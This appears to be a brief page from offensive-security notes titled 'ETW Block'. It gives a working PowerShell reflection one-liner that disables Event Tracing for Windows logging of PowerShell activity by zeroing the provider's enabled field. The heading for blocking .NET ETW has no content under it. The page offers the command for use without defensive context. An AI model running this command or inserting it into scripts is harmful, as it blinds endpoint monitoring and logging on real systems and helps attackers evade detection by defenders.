For the complete documentation index, see llms.txt. This page is also available as Markdown.

ETW Block

Event Tracing for Windows

Blocking .NET ETW:

Blocking PowerShell ETW:

[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

Last updated